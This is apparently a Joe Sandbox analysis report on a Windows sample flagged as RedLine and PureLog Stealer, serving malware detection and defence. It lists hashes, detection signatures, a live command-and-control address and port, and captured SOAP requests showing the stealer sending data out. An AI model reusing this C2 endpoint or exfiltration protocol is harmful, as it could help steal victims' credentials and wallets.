Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
chTJmCR9bS.exe

Overview

General Information

Sample name:chTJmCR9bS.exe
renamed because original name is a hash value
Original sample name:963F526636C53E9ECF5AF8025E0DACA0.exe
Analysis ID:1594596
MD5:963f526636c53e9ecf5af8025e0daca0
SHA1:bf41a267e768fca782e6861ba274aac58f79a959
SHA256:55d48276b91ae07b4a4b26ab074d2fae49ffdee7f227fc62587a46696ecbf2b3
Tags:exeRedLineStealeruser-abuse_ch
Infos:

Detection

PureLog Stealer, RedLine
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected PureLog Stealer
Yara detected RedLine Stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found many strings related to Crypto-Wallets (likely being stolen)
Machine Learning detection for sample
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Uses known network protocols on non-standard ports
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • chTJmCR9bS.exe (PID: 7384 cmdline: "C:\Users\user\Desktop\chTJmCR9bS.exe" MD5: 963F526636C53E9ECF5AF8025E0DACA0)
    • chTJmCR9bS.exe (PID: 7572 cmdline: "C:\Users\user\Desktop\chTJmCR9bS.exe" MD5: 963F526636C53E9ECF5AF8025E0DACA0)
      • conhost.exe (PID: 7584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
RedLine StealerRedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["185.222.57.84:55615"], "Bot Id": "cheat"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_RedLine_1Yara detected RedLine StealerJoe Security
    dump.pcapJoeSecurity_RedLineYara detected RedLine StealerJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
          00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_RedLineStealer_f54632ebunknownunknown
          • 0x133ca:$a4: get_ScannedWallets
          • 0x12228:$a5: get_ScanTelegram
          • 0x1304e:$a6: get_ScanGeckoBrowsersPaths
          • 0x10e6a:$a7: <Processes>k__BackingField
          • 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString|11_0
          • 0x1079e:$a9: <ScanFTP>k__BackingField
          00000000.00000002.1826964666.0000000005CD0000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
            00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
              Click to see the 13 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              0.2.chTJmCR9bS.exe.5cd0000.6.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                  0.2.chTJmCR9bS.exe.3721508.2.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                    0.2.chTJmCR9bS.exe.450ad90.3.unpackJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
                      0.2.chTJmCR9bS.exe.450ad90.3.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
                        Click to see the 26 entries

                        Sigma Signatures

                        ⊘No Sigma rule has matched

                        Suricata Signatures

                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-19T13:02:19.516256+010020450001Malware Command and Control Activity Detected185.222.57.8455615192.168.2.449741TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-19T13:02:22.103197+010020460561A Network Trojan was detected185.222.57.8455615192.168.2.449741TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-19T13:02:22.103197+010020450011Malware Command and Control Activity Detected185.222.57.8455615192.168.2.449741TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-19T13:02:14.490257+010028496621Malware Command and Control Activity Detected192.168.2.449741185.222.57.8455615TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-19T13:02:19.724822+010028493511Malware Command and Control Activity Detected192.168.2.449741185.222.57.8455615TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-19T13:02:24.045230+010028482001Malware Command and Control Activity Detected192.168.2.449745185.222.57.8455615TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-19T13:02:22.471503+010028493521Malware Command and Control Activity Detected192.168.2.449744185.222.57.8455615TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-19T13:02:14.490257+010018000001Malware Command and Control Activity Detected192.168.2.449741185.222.57.8455615TCP

                        Joe Sandbox Signatures

                        Click to jump to signature section

                        Show All Signature Results

                        AV Detection

                        barindex
                        Found malware configuration
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpackMalware Configuration Extractor: RedLine {"C2 url": ["185.222.57.84:55615"], "Bot Id": "cheat"}
                        Multi AV Scanner detection for submitted file
                        Source: chTJmCR9bS.exeReversingLabs: Detection: 71%
                        AI detected suspicious sample
                        Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                        Machine Learning detection for sample
                        Source: chTJmCR9bS.exeJoe Sandbox ML: detected
                        Source: chTJmCR9bS.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                        Source: unknownHTTPS traffic detected: 104.26.12.31:443 -> 192.168.2.4:49743 version: TLS 1.0
                        Source: chTJmCR9bS.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

                        Networking

                        barindex
                        Suricata IDS alerts for network traffic
                        Source: Network trafficSuricata IDS: 1800000 - Severity 1 - Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect : 192.168.2.4:49741 -> 185.222.57.84:55615
                        Source: Network trafficSuricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.4:49741 -> 185.222.57.84:55615
                        Source: Network trafficSuricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.4:49744 -> 185.222.57.84:55615
                        Source: Network trafficSuricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.4:49745 -> 185.222.57.84:55615
                        Source: Network trafficSuricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 185.222.57.84:55615 -> 192.168.2.4:49741
                        Source: Network trafficSuricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.4:49741 -> 185.222.57.84:55615
                        Source: Network trafficSuricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 185.222.57.84:55615 -> 192.168.2.4:49741
                        Source: Network trafficSuricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 185.222.57.84:55615 -> 192.168.2.4:49741
                        C2 URLs / IPs found in malware configuration
                        Source: Malware configuration extractorURLs: 185.222.57.84:55615
                        Uses known network protocols on non-standard ports
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 55615
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49741
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 55615
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49741
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49741
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 55615
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49744
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 55615
                        Source: unknownNetwork traffic detected: HTTP traffic on port 55615 -> 49745
                        Source: global trafficTCP traffic: 192.168.2.4:49741 -> 185.222.57.84:55615
                        Source: global trafficHTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.57.84:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.57.84:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
                        Source: global trafficHTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.57.84:55615Content-Length: 927735Expect: 100-continueAccept-Encoding: gzip, deflate
                        Source: global trafficHTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.57.84:55615Content-Length: 927727Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
                        Source: Joe Sandbox ViewIP Address: 104.26.12.31 104.26.12.31
                        Source: Joe Sandbox ViewASN Name: ROOTLAYERNETNL ROOTLAYERNETNL
                        Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
                        Source: unknownHTTPS traffic detected: 104.26.12.31:443 -> 192.168.2.4:49743 version: TLS 1.0
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: unknownTCP traffic detected without corresponding DNS query: 185.222.57.84
                        Source: global trafficHTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive
                        Source: global trafficDNS traffic detected: DNS query: api.ip.sb
                        Source: unknownHTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.57.84:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000374E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://185.222.57.84:5
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.00000000034AF000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://185.222.57.84:55615
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://185.222.57.84:55615/
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000374E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://185.222.57.84:55615t-
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.00000000034AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/0
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.00000000034AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/D
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003470000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000374E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetUpd
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.00000000034AF000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003470000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827074735.00000000062B9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ascendercorp.com/typedesigners.htmlQ
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827118138.00000000062DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.itcfonts.k
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827165764.00000000062F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com&
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                        Source: chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                        Source: tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                        Source: chTJmCR9bS.exe, chTJmCR9bS.exe, 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
                        Source: chTJmCR9bS.exe, chTJmCR9bS.exe, 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
                        Source: tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                        Source: tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                        Source: tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                        Source: tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drString found in binary or memory: https://duckduckgo.com/ac/?q=
                        Source: tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
                        Source: tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                        Source: chTJmCR9bS.exe, chTJmCR9bS.exe, 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io/ip%appdata%
